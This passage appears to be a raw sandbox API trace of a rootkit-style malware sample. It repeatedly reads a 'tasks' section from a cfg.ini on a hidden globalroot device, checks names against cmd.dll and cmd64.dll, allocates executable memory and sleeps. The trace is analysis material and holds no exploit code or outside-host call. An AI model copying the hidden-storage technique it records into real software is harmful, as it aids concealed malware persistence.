KeEnterCriticalRegion () [0118.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.763] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.763] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.764] KeLeaveCriticalRegion () [0118.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.764] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.764] KeEnterCriticalRegion () [0118.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.764] ExFreePoolWithTag (P=0xfffffa80039c5e60, Tag=0x0) [0118.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.764] KeLeaveCriticalRegion () [0118.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.764] ReleaseMutex (hMutex=0xf0) returned 1 [0118.764] Sleep (dwMilliseconds=0x927c0) [0118.783] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.783] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.783] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.783] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.783] KeEnterCriticalRegion () [0118.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.783] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.783] IdePortDispatch () returned 0x103 [0118.783] KeWaitForMutexObject () returned 0x0 [0118.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.783] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.783] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.784] KeLeaveCriticalRegion () [0118.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.784] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.784] KeEnterCriticalRegion () [0118.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.784] KeLeaveCriticalRegion () [0118.784] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.784] KeEnterCriticalRegion () [0118.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.784] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.784] IdePortDispatch () returned 0x103 [0118.784] KeWaitForMutexObject () returned 0x0 [0118.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.784] KeLeaveCriticalRegion () [0118.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.785] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.785] KeEnterCriticalRegion () [0118.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c25000 [0118.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.785] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.785] IdePortDispatch () returned 0x103 [0118.785] KeWaitForMutexObject () returned 0x0 [0118.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.785] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.785] IdePortDispatch () returned 0x103 [0118.786] KeWaitForMutexObject () returned 0x0 [0118.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.786] KeLeaveCriticalRegion () [0118.786] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.786] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.786] KeEnterCriticalRegion () [0118.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.787] KeLeaveCriticalRegion () [0118.787] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.787] KeEnterCriticalRegion () [0118.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.787] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.787] KeLeaveCriticalRegion () [0118.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.787] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.787] KeEnterCriticalRegion () [0118.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.787] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.787] KeLeaveCriticalRegion () [0118.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.787] ReleaseMutex (hMutex=0xf0) returned 1 [0118.787] Sleep (dwMilliseconds=0x927c0) [0118.807] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.807] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.807] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.807] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.807] KeEnterCriticalRegion () [0118.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.807] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.807] IdePortDispatch () returned 0x103 [0118.808] KeWaitForMutexObject () returned 0x0 [0118.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.808] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.808] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.808] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.808] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.808] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca010 [0118.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.808] KeLeaveCriticalRegion () [0118.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.808] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.808] KeEnterCriticalRegion () [0118.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.808] KeLeaveCriticalRegion () [0118.808] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.808] KeEnterCriticalRegion () [0118.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.808] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.808] IdePortDispatch () returned 0x103 [0118.809] KeWaitForMutexObject () returned 0x0 [0118.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.809] KeLeaveCriticalRegion () [0118.809] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.809] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.809] KeEnterCriticalRegion () [0118.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2a000 [0118.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.809] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.809] IdePortDispatch () returned 0x103 [0118.809] KeWaitForMutexObject () returned 0x0 [0118.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.810] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.810] IdePortDispatch () returned 0x103 [0118.810] KeWaitForMutexObject () returned 0x0 [0118.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.810] KeLeaveCriticalRegion () [0118.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.811] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.811] KeEnterCriticalRegion () [0118.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.811] KeLeaveCriticalRegion () [0118.811] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.811] KeEnterCriticalRegion () [0118.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.811] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.811] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.811] KeLeaveCriticalRegion () [0118.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.811] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.811] KeEnterCriticalRegion () [0118.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.811] ExFreePoolWithTag (P=0xfffffa8003bca010, Tag=0x0) [0118.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.811] KeLeaveCriticalRegion () [0118.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.811] ReleaseMutex (hMutex=0xf0) returned 1 [0118.811] Sleep (dwMilliseconds=0x927c0) [0118.830] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.830] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.830] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.830] KeEnterCriticalRegion () [0118.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.831] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.831] IdePortDispatch () returned 0x103 [0118.831] KeWaitForMutexObject () returned 0x0 [0118.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.831] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.831] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce290 [0118.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.831] KeLeaveCriticalRegion () [0118.831] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.831] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.831] KeEnterCriticalRegion () [0118.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.831] KeLeaveCriticalRegion () [0118.831] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.831] KeEnterCriticalRegion () [0118.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.832] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.832] IdePortDispatch () returned 0x103 [0118.832] KeWaitForMutexObject () returned 0x0 [0118.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.832] KeLeaveCriticalRegion () [0118.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.832] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.832] KeEnterCriticalRegion () [0118.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2f000 [0118.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.832] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.832] IdePortDispatch () returned 0x103 [0118.833] KeWaitForMutexObject () returned 0x0 [0118.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.833] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.833] IdePortDispatch () returned 0x103 [0118.833] KeWaitForMutexObject () returned 0x0 [0118.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.833] KeLeaveCriticalRegion () [0118.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.834] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.834] KeEnterCriticalRegion () [0118.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.834] KeLeaveCriticalRegion () [0118.834] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.834] KeEnterCriticalRegion () [0118.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.834] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.834] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.834] KeLeaveCriticalRegion () [0118.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.834] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.834] KeEnterCriticalRegion () [0118.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.834] ExFreePoolWithTag (P=0xfffffa8003bce290, Tag=0x0) [0118.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.834] KeLeaveCriticalRegion () [0118.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.835] ReleaseMutex (hMutex=0xf0) returned 1 [0118.835] Sleep (dwMilliseconds=0x927c0) [0118.856] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.856] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.856] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.856] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.856] KeEnterCriticalRegion () [0118.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: 